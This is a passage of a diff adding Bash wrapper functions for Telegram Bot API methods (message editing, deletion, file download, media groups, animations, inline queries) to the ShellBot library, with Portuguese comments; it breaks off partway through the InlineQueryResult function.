+    
+    	while :
+    	do
+    		case $1 in
+    			-c|--chat_id)
+    				chat_id=$2
+    				shift 2
+    				;;
+    			--)
+    				shift
+    				break
+    				;;
+    		esac
+    	done
+    
+    	[[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+    	
+    	jq_obj=$(curl $_CURL_OPT_ GET $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"})
+    
+    	# Verifica se ocorreu erros durante a chamada do método	
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    
+    	return $?
+    }
+    
+    ShellBot.getChatMember()
+    {
+    	# Variáveis locais
+    	local chat_id user_id jq_obj
+    
+    	# Lê os parâmetros da função
+    	local param=$(getopt --name "$FUNCNAME" \
+							 --options 'c:u:' \
+    						 --longoptions 'chat_id:,
+    						 				user_id:' \
+    						 -- "$@")
+    
+    	
+    	# Define os parâmetros posicionais
+    	eval set -- "$param"
+    
+    	while :
+    	do
+    		case $1 in
+    			-c|--chat_id)
+    				chat_id=$2
+    				shift 2
+    				;;
+    			-u|--user_id)
+    				CheckArgType int "$1" "$2"
+    				user_id=$2
+    				shift 2
+    				;;
+    			--)
+    				shift
+    				break
+    				;;
+    		esac
+    	done
+    	
+    	[[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+    	[[ $user_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-u, --user_id]"
+    	
+    	jq_obj=$(curl $_CURL_OPT_ GET $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${chat_id:+-d chat_id="$chat_id"} \
+    								${user_id:+-d user_id="$user_id"})
+    
+    	# Verifica se ocorreu erros durante a chamada do método	
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    
+    	return $?
+    }
+    
+    ShellBot.editMessageText()
+    {
+    	local chat_id message_id inline_message_id text parse_mode disable_web_page_preview reply_markup jq_obj
+    	
+    	local param=$(getopt --name "$FUNCNAME" \
+							 --options 'c:m:i:t:p:w:r:' \
+    						 --longoptions 'chat_id:,
+    										message_id:,
+    										inline_message_id:,
+    										text:,
+    										parse_mode:,
+    										disable_web_page_preview:,
+    										reply_markup:' \
+    						 -- "$@")
+    	
+    	eval set -- "$param"
+    
+    	while :
+    	do
+    			case $1 in
+    				-c|--chat_id)
+    					chat_id=$2
+    					shift 2
+    					;;
+    				-m|--message_id)
+    					CheckArgType int "$1" "$2"
+    					message_id=$2
+    					shift 2
+    					;;
+    				-i|--inline_message_id)
+    					CheckArgType int "$1" "$2"
+    					inline_message_id=$2
+    					shift 2
+    					;;
+    				-t|--text)
+						text=$(echo -e "$2")
+    					shift 2
+    					;;
+    				-p|--parse_mode)
+    					parse_mode=$2
+    					shift 2
+    					;;
+    				-w|--disable_web_page_preview)
+    					CheckArgType bool "$1" "$2"
+    					disable_web_page_preview=$2
+    					shift 2
+    					;;
+    				-r|--reply_markup)
+    					reply_markup=$2
+    					shift 2
+    					;;
+    				--)
+    					shift
+    					break
+						;;
+    			esac
+    	done
+    	
+    	[[ $text ]] 			|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-t, --text]"
+		[[ $inline_message_id ]] && unset chat_id message_id || {
+			[[ $chat_id ]] 		|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+			[[ $message_id ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-m, --message_id]"
+		}
+    	
+    
+    	jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${chat_id:+-d chat_id="$chat_id"} \
+    								${message_id:+-d message_id="$message_id"} \
+    								${inline_message_id:+-d inline_message_id="$inline_message_id"} \
+    								${text:+-d text="$text"} \
+    								${parse_mode:+-d parse_mode="$parse_mode"} \
+    								${disable_web_page_preview:+-d disable_web_page_preview="$disable_web_page_preview"} \
+    								${reply_markup:+-d reply_markup="$reply_markup"})
+    
+    	# Verifica se ocorreu erros durante a chamada do método	
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    	
+    	return $?
+    	
+    }
+    
+    ShellBot.editMessageCaption()
+    {
+    	local chat_id message_id inline_message_id 
+		local parse_mode caption reply_markup jq_obj
+    	
+    	local param=$(getopt --name "$FUNCNAME" \
+							 --options 'c:m:i:t:p:r:' \
+    						 --longoptions 'chat_id:,
+    										message_id:,
+    										inline_message_id:,
+    										caption:,
+											parse_mode:,
+    										reply_markup:' \
+    						 -- "$@")
+    	
+    	eval set -- "$param"
+    
+    	while :
+    	do
+    			case $1 in
+    				-c|--chat_id)
+    					chat_id=$2
+    					shift 2
+    					;;
+    				-m|--message_id)
+    					CheckArgType int "$1" "$2"
+    					message_id=$2
+    					shift 2
+    					;;
+    				-i|--inline_message_id)
+    					CheckArgType int "$1" "$2"
+    					inline_message_id=$2
+    					shift 2
+    					;;
+    				-t|--caption)
+						caption=$(echo -e "$2")
+    					shift 2
+    					;;
+					-p|--parse_mode)
+						parse_mode=$2
+						shift 2
+						;;
+    				-r|--reply_markup)
+    					reply_markup=$2
+    					shift 2
+    					;;
+    				--)
+    					shift
+    					break
+						;;
+    			esac
+    	done
+    				
+    	[[ $chat_id ]] 		|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+    	[[ $message_id ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-m, --message_id]"
+    	
+    	jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${chat_id:+-d chat_id="$chat_id"} \
+    								${message_id:+-d message_id="$message_id"} \
+    								${inline_message_id:+-d inline_message_id="$inline_message_id"} \
+    								${caption:+-d caption="$caption"} \
+									${parse_mode:+-d parse_mode="$parse_mode"} \
+    								${reply_markup:+-d reply_markup="$reply_markup"})
+    
+    	# Verifica se ocorreu erros durante a chamada do método	
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    	
+    	return $?
+    	
+    }
+    
+    ShellBot.editMessageReplyMarkup()
+    {
+    	local chat_id message_id inline_message_id reply_markup jq_obj
+    	
+    	local param=$(getopt --name "$FUNCNAME" \
+							 --options 'c:m:i:r:' \
+    						 --longoptions 'chat_id:,
+    										message_id:,
+    										inline_message_id:,
+    										reply_markup:' \
+    						 -- "$@")
+    	
+    	eval set -- "$param"
+    
+    	while :
+    	do
+    			case $1 in
+    				-c|--chat_id)
+    					chat_id=$2
+    					shift 2
+    					;;
+    				-m|--message_id)
+    					CheckArgType int "$1" "$2"
+    					message_id=$2
+    					shift 2
+    					;;
+    				-i|--inline_message_id)
+    					CheckArgType int "$1" "$2"
+    					inline_message_id=$2
+    					shift 2
+    					;;
+    				-r|--reply_markup)
+    					reply_markup=$2
+    					shift 2
+    					;;
+    				--)
+    					shift
+    					break
+						;;
+    			esac
+    	done
+		
+		[[ $inline_message_id ]] && unset chat_id message_id || {
+			[[ $chat_id ]] 		|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+			[[ $message_id ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-m, --message_id]"
+		}
+    
+    	jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${chat_id:+-d chat_id="$chat_id"} \
+    								${message_id:+-d message_id="$message_id"} \
+     								${inline_message_id:+-d inline_message_id="$inline_message_id"} \
+    								${reply_markup:+-d reply_markup="$reply_markup"})
+    
+    	# Verifica se ocorreu erros durante a chamada do método	
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    	
+    	return $?
+    	
+    }
+    
+    ShellBot.deleteMessage()
+    {
+    	local chat_id message_id jq_obj
+    	
+    	local param=$(getopt --name "$FUNCNAME" \
+							 --options 'c:m:' \
+    						 --longoptions 'chat_id:,
+    										message_id:' \
+    						 -- "$@")
+    	
+    	eval set -- "$param"
+    
+    	while :
+    	do
+    			case $1 in
+    				-c|--chat_id)
+    					chat_id=$2
+    					shift 2
+    					;;
+    				-m|--message_id)
+    					CheckArgType int "$1" "$2"
+    					message_id=$2
+    					shift 2
+    					;;
+    				--)
+    					shift
+    					break
+						;;
+    			esac
+    	done
+    	
+    	[[ $chat_id ]] 		|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+    	[[ $message_id ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-m, --message_id]"
+    
+    	jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${chat_id:+-d chat_id="$chat_id"} \
+    								${message_id:+-d message_id="$message_id"})
+    
+    	# Verifica se ocorreu erros durante a chamada do método	
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    	
+    	return $?
+    
+    }
+   
+	ShellBot.downloadFile()
+	{
+		local file_path dir ext file jq_obj
+		local uri="https://api.telegram.org/file/bot$_TOKEN_"
+
+		local param=$(getopt --name "$FUNCNAME" \
+								--options 'f:d:' \
+								--longoptions 'file_path:,
+												dir:' \
+								-- "$@")
+		
+		eval set -- "$param"
+
+		while :
+		do
+			case $1 in
+				-f|--file_path)
+					[[ $2 =~ \.[^.]+$ ]]
+					ext=$BASH_REMATCH
+					file_path=$2
+					shift 2
+					;;
+				-d|--dir)
+					[[ -d $2 ]] || MessageError API "$_ERR_DIR_NOT_FOUND_" "$1" "$2"
+					[[ -w $2 ]] || MessageError API "$_ERR_DIR_WRITE_DENIED_" "$1" "$2"
+					dir=${2%/}
+					shift 2
+					;;
+				--)
+					shift
+					break
+					;;
+			esac
+		done
+
+		[[ $file_path ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-f, --file_path]"
+		[[ $dir ]] 			|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-d, --dir]"
+
+		# Gera o nome do arquivo anexando o horário de criação.
+		file=file$(date +%d%m%Y%H%M%S%N)${ext:-.dat}
+
+		# Executa o download da uri especificada e retorna um objeto json
+		# com as informações do processo. Se tiver sucesso o diretório de
+		# destino é retornado, caso contrário uma mensagem de erro é apresentada.
+		if wget -qO "$dir/$file" "$uri/$file_path"; then
+			# Sucesso
+			printf -v jq_obj '{"ok":true,"result":{"file_path":"%s"}}' "$dir/$file"
+		else
+			# Falha
+			printf -v jq_obj '{"ok":false,"error_code":404,"description":"Bad Request: file not found"}'
+			rm -f "$dir/$file" 2>/dev/null # Remove arquivo inválido.
+		fi
+
+		MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+
+		return $?
+	}
+
+	ShellBot.editMessageLiveLocation()
+	{
+		local chat_id message_id inline_message_id
+		local latitude longitude reply_markup jq_obj
+		
+		local param=$(getopt --name "$FUNCNAME" \
+								--options 'c:m:i:l:g:r:' \
+								--longoptions 'chat_id:,
+												message_id:,
+												inline_message_id:,
+												latitude:,
+												longitude:,
+												reply_markup:' \
+								-- "$@")
+		
+		eval set -- "$param"
+
+		while :
+		do
+			case $1 in
+				-c|--chat_id)
+					chat_id=$2
+					shift 2
+					;;
+				-m|--message_id)
+    				CheckArgType int "$1" "$2"
+					message_id=$2
+					shift 2
+					;;
+    			-i|--inline_message_id)
+					CheckArgType int "$1" "$2"
+					inline_message_id=$2
+					shift 2
+					;;
+    			-l|--latitude)
+    				# Tipo: float
+    				CheckArgType float "$1" "$2"
+    				latitude=$2
+    				shift 2
+    				;;
+    			-g|--longitude)
+    				# Tipo: float
+    				CheckArgType float "$1" "$2"
+    				longitude=$2
+    				shift 2
+    				;;
+    			-r|--reply_markup)
+    				reply_markup=$2
+    				shift 2
+    				;;
+    			--)
+    				shift
+    				break
+					;;
+			esac
+		done
+	
+		[[ $inline_message_id ]] && unset chat_id message_id || {
+			[[ $chat_id ]] 		|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+			[[ $message_id ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-m, --message_id]"
+		}
+    	
+		jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${chat_id:+-d chat_id="$chat_id"} \
+									${message_id:+-d message_id="$message_id"} \
+									${inline_message_id:+-d inline_message_id="$inline_message_id"} \
+    								${latitude:+-d latitude="$latitude"} \
+    								${longitude:+-d longitude="$longitude"} \
+    								${reply_markup:+-d reply_markup="$reply_markup"})
+    
+    	# Testa o retorno do método
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    
+    	return $?
+	}	
+
+	ShellBot.stopMessageLiveLocation()
+	{
+		local chat_id message_id inline_message_id reply_markup jq_obj
+		
+		local param=$(getopt --name "$FUNCNAME" \
+								--options 'c:m:i:r:' \
+								--longoptions 'chat_id:,
+												message_id:,
+												inline_message_id:,
+												reply_markup:' \
+								-- "$@")
+		
+		eval set -- "$param"
+
+		while :
+		do
+			case $1 in
+				-c|--chat_id)
+					chat_id=$2
+					shift 2
+					;;
+				-m|--message_id)
+    				CheckArgType int "$1" "$2"
+					message_id=$2
+					shift 2
+					;;
+    			-i|--inline_message_id)
+					CheckArgType int "$1" "$2"
+					inline_message_id=$2
+					shift 2
+					;;
+    			-r|--reply_markup)
+    				reply_markup=$2
+    				shift 2
+    				;;
+    			--)
+    				shift
+    				break
+					;;
+			esac
+		done
+	
+		[[ $inline_message_id ]] && unset chat_id message_id || {
+			[[ $chat_id ]] 		|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+			[[ $message_id ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-m, --message_id]"
+		}
+    	
+		jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${chat_id:+-d chat_id="$chat_id"} \
+									${message_id:+-d message_id="$message_id"} \
+									${inline_message_id:+-d inline_message_id="$inline_message_id"} \
+    								${reply_markup:+-d reply_markup="$reply_markup"})
+    
+    	# Testa o retorno do método
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    
+    	return $?
+	}
+
+	ShellBot.setChatStickerSet()
+	{
+		local chat_id sticker_set_name jq_obj
+
+		local param=$(getopt --name "$FUNCNAME" \
+								--options 'c:s:' \
+								--longoptions 'chat_id:,
+												sticker_set_name:' \
+								-- "$@")
+		
+		eval set -- "$param"
+		
+		while :
+		do
+			case $1 in
+				-c|--chat_id)
+					chat_id=$2
+					shift 2
+					;;
+				-s|--sticker_set_name)
+					sticker_set_name=$2
+					shift 2
+					;;
+				--)
+					shift
+					break
+					;;
+			esac
+		done
+
+		[[ $chat_id ]] 			|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+		[[ $sticker_set_name ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-s, --sticker_set_name]"
+		
+		jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${chat_id:+-d chat_id="$chat_id"} \
+									${sticker_set_name:+-d sticker_set_name="$sticker_set_name"})
+		
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    	
+		return $?
+	}
+
+	ShellBot.deleteChatStickerSet()
+	{
+		local chat_id jq_obj
+
+		local param=$(getopt --name "$FUNCNAME" \
+								--options 'c:' \
+								--longoptions 'chat_id:' \
+								-- "$@")
+		
+		eval set -- "$param"
+		
+		while :
+		do
+			case $1 in
+				-c|--chat_id)
+					chat_id=$2
+					shift 2
+					;;
+				--)
+					shift
+					break
+					;;
+			esac
+		done
+
+		[[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+		
+		jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"})
+		
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    	
+    	return $?
+	}
+	
+	ShellBot.inputMedia()
+	{
+		local __type __input __media __caption __parse_mode __thumb __width 
+		local __height __duration __supports_streaming __performer __title
+
+		local __param=$(getopt --name "$FUNCNAME" \
+								--options 't:i:m:c:p:b:w:h:d:s:f:e:' \
+								--longoptions 'type:,
+												input:,
+												media:,
+												caption:,
+												parse_mode:,
+												thumb:,
+												witdh:,
+												height:,
+												duration:,
+												supports_streaming:,
+												performer:,
+												title:' \
+								-- "$@")
+	
+	
+		eval set -- "$__param"
+		
+		while :
+		do
+			case $1 in
+				-t|--type)
+					__type=$2
+					shift 2
+					;;
+				-i|--input)
+					CheckArgType var "$1" "$2"
+					__input=$2
+					shift 2
+					;;
+				-m|--media)
+					CheckArgType file "$1" "$2"
+					__media=$2
+					shift 2
+					;;
+				-c|--caption)
+					__caption=$(echo -e "$2")
+					shift 2
+					;;
+				-p|--parse_mode)
+					__parse_mode=$2
+					shift 2
+					;;
+				-b|--thumb)
+					CheckArgType file "$1" "$2"
+					__thumb=$2
+					shift 2
+					;;
+				-w|--width)
+					CheckArgType int "$1" "$2"
+					__width=$2
+					shift 2
+					;;
+				-h|--height)
+					CheckArgType int "$1" "$2"
+					__height=$2
+					shift 2
+					;;
+				-d|--duration)
+					CheckArgType int "$1" "$2"
+					__duration=$2
+					shift 2
+					;;
+				-s|--supports_streaming)
+					CheckArgType bool "$1" "$2"
+					__supports_streaming=$2
+					shift 2
+					;;
+				-f|--performer)
+					__performer=$2
+					shift 2
+					;;
+				-e|--title)
+					__title=$2
+					shift 2
+					;;
+				--)
+					shift
+					break
+					;;
+			esac
+		done
+
+		[[ $__type ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-t, --type]"
+		[[ $__input ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-i, --input]"
+		[[ $__media ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-m, --media]"
+
+		local -n __input=$__input
+		
+    	__input=${__input:+$__input,}{\"type\":\"$__type\",
+		__input+=\"media\":\"$__media\"
+		__input+=${__caption:+,\"caption\":\"$__caption\"}
+		__input+=${__parse_mode:+,\"parse_mode\":\"$__parse_mode\"}
+		__input+=${__thumb:+,\"thumb\":\"$__thumb\"}
+		__input+=${__width:+,\"width\":$__width}
+		__input+=${__height:+,\"height\":$__height}
+		__input+=${__duration:+,\"duration\":$__duration}
+		__input+=${__supports_streaming:+,\"supports_streaming\":$__supports_streaming}
+		__input+=${__performer:+,\"performer\":\"$__performer\"}
+		__input+=${__title:+,\"title\":\"$__title\"}}
+
+		return $?
+	}
+
+	ShellBot.sendMediaGroup()
+	{
+		local chat_id media disable_notification reply_to_message_id jq_obj
+		
+		local param=$(getopt 	--name "$FUNCNAME" \
+								--options 'c:m:n:r:' \
+								--longoptions 'chat_id:,
+												media:,
+												disable_notification:,
+												reply_to_message_id:' \
+								-- "$@")
+	
+		eval set -- "$param"
+		
+		while :
+		do
+			case $1 in
+				-c|--chat_id)
+					chat_id=$2
+					shift 2
+					;;
+				-m|--media)
+					media=[$2]
+					shift 2
+					;;
+				-n|--disable_notification)
+    				CheckArgType bool "$1" "$2"
+					disable_notification=$2
+					shift 2
+					;;
+				-r|--reply_to_message_id)
+    				CheckArgType int "$1" "$2"
+    				reply_to_message_id=$2
+    				shift 2
+					;;
+				--)
+					shift
+					break
+					;;
+			esac
+		done
+
+		[[ $chat_id ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+		[[ $media ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-m, --media]"
+		
+		jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${chat_id:+-F chat_id="$chat_id"} \
+    								${media:+-F media="$media"} \
+    								${disable_notification:+-F disable_notification="$disable_notification"} \
+    								${reply_to_message_id:+-F reply_to_message_id="$reply_to_message_id"})
+    
+		# Retorno do método
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    
+    	# Status
+    	return $?
+	}
+
+	ShellBot.editMessageMedia()
+	{
+		local chat_id message_id inline_message_id media reply_markup jq_obj
+
+		local param=$(getopt	--name "$FUNCNAME" \
+								--options 'c:i:n:m:k:' \
+								--longoptions	'chat_id:,
+												message_id:,
+												inline_message_id:,
+												media:,
+												reply_markup:'	\
+								-- "$@")
+
+		eval set -- "$param"
+		
+		while :
+		do
+			case $1 in
+				-c|--chat_id)
+					chat_id=$2
+					shift 2
+					;;
+				-i|--message_id)
+					CheckArgType int "$1" "$2"
+					message_id=$2
+					shift 2
+					;;
+				-n|--inline_message_id)
+					CheckArgType int "$1" "$2"
+					inline_message_id=$2
+					shift 2
+					;;
+				-m|--media)
+					media=$2
+					shift 2
+					;;
+				-k|--reply_markup)
+					reply_markup=$2
+					shift 2
+					;;
+				--)
+					shift
+					break
+					;;
+			esac
+		done
+
+		[[ $inline_message_id ]] || {
+			[[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+			[[ $message_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-i, --message_id]"
+		}
+		
+		[[ $media ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-m, --media]"
+		
+		jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${chat_id:+-F chat_id="$chat_id"} \
+									${message_id:+-F message_id="$message_id"} \
+									${inline_message_id:+-F inline_message_id="$inline_message_id"} \
+    								${media:+-F media="$media"} \
+    								${reply_markup:+-F reply_markup="$reply_markup"})   
+		 
+		# Retorno do método
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    
+    	# Status
+    	return $?
+	}
+
+	ShellBot.sendAnimation()
+	{
+		local chat_id animation duration width height 
+		local thumb caption parse_mode disable_notification 
+		local reply_to_message_id reply_markup jq_obj
+		
+		local param=$(getopt	--name "$FUNCNAME" \
+								--options 'c:a:d:w:h:b:o:p:n:r:k:' \
+								--longoptions 'chat_id:,
+												animation:,
+												duration:,
+												width:,
+												height:,
+												thumb:,
+												caption:,
+												parse_mode:,
+												disable_notification:,
+												reply_to_message_id:,
+												reply_markup:' \
+								-- "$@")
+		
+		eval set -- "$param"
+		
+		while :
+		do
+			case $1 in
+				-c|--chat_id)
+					chat_id=$2
+					shift 2
+					;;
+				-a|--animation)
+					CheckArgType file "$1" "$2"
+					animation=$2
+					shift 2
+					;;
+				-d|--duration)
+					CheckArgType int "$1" "$2"
+					duartion=$2
+					shift 2
+					;;
+				-w|--width)
+					CheckArgType int "$1" "$2"
+					width=$2
+					shift 2
+					;;
+				-h|--height)
+					CheckArgType int "$1" "$2"
+					height=$2
+					shift 2
+					;;
+				-b|--thumb)
+					CheckArgType file "$1" "$2"
+					thumb=$2
+					shift 2
+					;;
+				-o|--caption)
+					caption=$(echo -e "$2")
+					shift 2
+					;;
+				-p|--parse_mode)
+					parse_mode=$2
+					shift 2
+					;;
+				-n|--disable_notification)
+					CheckArgType bool "$1" "$2"
+					disable_notification=$2
+					shift 2
+					;;
+				-r|--reply_to_message_id)
+					CheckArgType int "$1" "$2"
+					reply_to_message_id=$2
+					shift 2
+					;;
+				-k|--reply_markup)
+					reply_markup=$2
+					shift 2
+					;;
+				--)
+					shift
+					break
+					;;
+			esac
+		done
+
+		[[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+		[[ $animation ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-a, --animation]"
+		
+		jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${chat_id:+-F chat_id="$chat_id"} \
+									${animation:+-F animation="$animation"} \
+									${duration:+-F duration="$duration"} \
+									${width:+-F width="$width"} \
+									${height:+-F height="$height"} \
+									${thumb:+-F thumb="$thumb"} \
+									${caption:+-F caption="$caption"} \
+									${parse_mode:+-F parse_mode="$parse_mode"} \
+									${disable_notification:+-F disable_notification="$disable_notification"} \
+									${reply_to_message_id:+-F reply_to_message_id="$reply_to_message_id"} \
+    								${reply_markup:+-F reply_markup="$reply_markup"})   
+		 
+		# Retorno do método
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    
+    	# Status
+    	return $?
+	}
+	
+	ShellBot.answerInlineQuery()
+	{
+		local inline_query_id results cache_time is_personal
+		local next_offset switch_pm_text switch_pm_parameter
+		local jq_obj
+
+		local param=$(getopt	--name "$FUNCNAME" \
+								--options 'i:r:c:p:o:s:m:' \
+								--longoptions 'inline_query_id:,
+												results:,
+												cache_time:,
+												is_personal:,
+												next_offset:,
+												switch_pm_text:,
+												switch_pm_parameter:' \
+								-- "$@")
+
+		eval set -- "$param"
+		
+		while :
+		do
+			case $1 in
+				-i|--inline_query_id)		inline_query_id=$2;		shift 2;;
+				-r|--results)				results=[$2];			shift 2;;
+				-c|--cache_time)			cache_time=$2;			shift 2;;
+				-p|--is_personal)			cache_time=$2;			shift 2;;
+				-o|--next_offset)			next_offset=$2;			shift 2;;
+				-s|--switch_pm_text)		switch_pm_text=$2;		shift 2;;
+				-m|--switch_pm_parameter)	switch_pm_parameter=$2;	shift 2;;
+				--)													shift; break;;
+			esac
+		done
+		
+		[[ $inline_query_id ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-i, --inline_query_id]"
+		[[ $results ]] 			|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-r, --results]"
+
+		jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${inline_query_id:+-F inline_query_id="$inline_query_id"} \
+									${results:+-F results="$results"} \
+									${cache_time:+-F cache_time="$cache_time"} \
+									${is_personal:+-F is_personal="$is_personal"} \
+									${next_offset:+-F next_offset="$next_offset"} \
+									${switch_pm_text:+-F switch_pm_text="$switch_pm_text"} \
+									${switch_pm_parameter:+-F switch_pm_parameter="$switch_pm_parameter"})
+		
+		# Retorno do método
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    
+    	# Status
+    	return $?
+		
+	}
+	
+	ShellBot.InlineQueryResult()
+	{
+		local __input __type __title __caption __reply_markup __parse_mode
+		local __description __input_message_content __address __audio_duration
+	   	local __audio_file_id __audio_url __document_file_id __document_url
+		local __first_name __foursquare_id __foursquare_type __gif_duration
+		local __gif_file_id __gif_height __gif_url __gif_width __hide_url
+		local __last_name __latitude __live_period __longitude __mime_type
+		local __mpeg4_duration __mpeg4_file_id __mpeg4_height __mpeg4_url
+		local __mpeg4_width __performer __photo_file_id __photo_height 
+		local __photo_url __photo_width __sticker_file_id __vcard __phone_number
+		local __thumb_height __thumb_url __thumb_width __url __id
+		local __video_duration __video_file_id __video_height __video_url
+		local __video_width __voice_duration __voice_file_id __voice_url
+
+		local __param=$(getopt	--name "$FUNCNAME" \
+								--options 'i:t:l:c:k:p:r:d:m:b:s:x:w:v:z:y:q:a:f:u:g:o:n:h:j:e:
+											N:R:D:A:X:G:C:Q:L:Y:E:V:H:Z:T:F:U:M:S:O:I:K:B:P:J:W:' \
+								--longoptions 'input:,
+												type:,
+												title:,
+												caption:,
+												reply_markup:,
+												parse_mode:,
+												id:,
+												description:,
+												input_message_content:,
+												address:,
+												audio_duration:,
+												audio_file_id:,
+												audio_url:,
+												document_file_id:,
+												document_url:,
+												first_name:,
+												foursquare_id:,
+												foursquare_type:,
+												gif_duration:,
+												gif_file_id:,
+												gif_height:,
+												gif_url:,
+												gif_width:,
+												hide_url:,
+												last_name:,
+												latitude:,
+												live_period:,
+												longitude:,
+												mime_type:,
+												mpeg4_duration:,
+												mpeg4_file_id:,
+												mpeg4_height:,
+												mpeg4_url:,
+												mpeg4_width:,
+												performer:,
+												photo_file_id:,
+												photo_height:,
+												photo_url:,
+												photo_width:,
+												sticker_file_id:,
+												thumb_height:,
+												thumb_url:,
+												thumb_width:,
+												url:,
+												vcard:,
+												video_duration:,
+												video_file_id:,
+												video_height:,
+												video_url:,
+												video_width:,
+												voice_duration:,
+												voice_file_id:,
+												voice_url:,
+												phone_number:' \
+								-- "$@")
+
+		eval set -- "$__param"
+
+		while :
+		do
+			case $1 in
+				-i|--input) 				CheckArgType var "$1" "$2"
+					   						__input=$2; 				shift 2;;
+				-t|--type)					__type=$2; 					shift 2;;
+				-l|--title)					__title=$2;					shift 2;;
+				-c|--caption)				__caption=$2;				shift 2;;
+				-k|--reply_markup)			__reply_markup=$2;			shift 2;;
+				-p|--parse_mode)			__parse_mode=$2;			shift 2;;
+				-r|--id)					__id=$2;					shift 2;;
+				-d|--description)			__description=$2;			shift 2;;
+				-m|--input_message_content)	__input_message_content=$2;	shift 2;;
+				-b|--address)				__address=$2;				shift 2;;
+				-s|--audio_duration)		__audio_duration=$2;		shift 2;;
+				-x|--audio_file_id)			__audio_file_id=$2;			shift 2;;
+				-w|--audio_url)				__audio_url=$2;				shift 2;;
+				-v|--document_file_id)		__document_file_id=$2;		shift 2;;
+				-z|--document_url)			__document_url=$2;			shift 2;;
+				-y|--first_name)			__first_name=$2;			shift 2;;
+				-q|--foursquare_id)			__foursquare_id=$2;			shift 2;;
+				-a|--foursquare_type)		__foursquare_type=$2;		shift 2;;
+				-f|--gif_duration)			__gif_duration=$2;			shift 2;;
+				-u|--gif_file_id)			__gif_file_id=$2			shift 2;;
+				-g|--gif_height)			__gif_height=$2;			shift 2;;
+				-o|--gif_url)				__gif_url=$2;				shift 2;;
+				-n|--gif_width)				__gif_width=$2;				shift 2;;
+				-h|--hide_url)				__hide_url=$2;				shift 2;;
+				-j|--last_name)				__last_name=$2;				shift 2;;
+				-e|--latitude)				__latitude=$2;				shift 2;;
+				-N|--live_period)			__live_period=$2;			shift 2;;
+				-R|--longitude)				__longitude=$2;				shift 2;;
+				-D|--mime_type)				__mime_type=$2;				shift 2;;
+				-A|--mpeg4_duration)		__mpeg4_duration=$2;		shift 2;;
